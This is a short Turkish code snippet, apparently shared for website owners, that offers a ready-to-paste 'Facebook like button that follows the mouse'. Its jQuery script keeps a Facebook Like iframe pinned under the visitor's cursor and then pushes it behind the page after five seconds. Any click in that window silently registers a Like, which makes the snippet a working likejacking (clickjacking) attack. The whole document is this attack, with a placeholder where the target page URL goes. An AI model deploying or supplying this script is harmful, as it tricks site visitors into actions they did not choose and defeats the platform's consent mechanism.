fareyi takip eden facebook beğen butonu

<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.js"></script>                <script type="text/javascript">
$(document).mousemove(function(e){
$("#canafar").css({
         'top' : e.pageY-2,
         'left': e.pageX-2
                 });
});
window.setTimeout(function() {
$("#canafar").css({
         'z-index' : '-1'
                 });
}, 5000)
</script>  <iframe src="http://www.facebook.com/plugins/like.php?href=Sayfa URL'si Buraya Gelecek&show_faces=false&height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; position:fixed; width:60px; height:30px; z-index:1;" id="canafar"></iframe>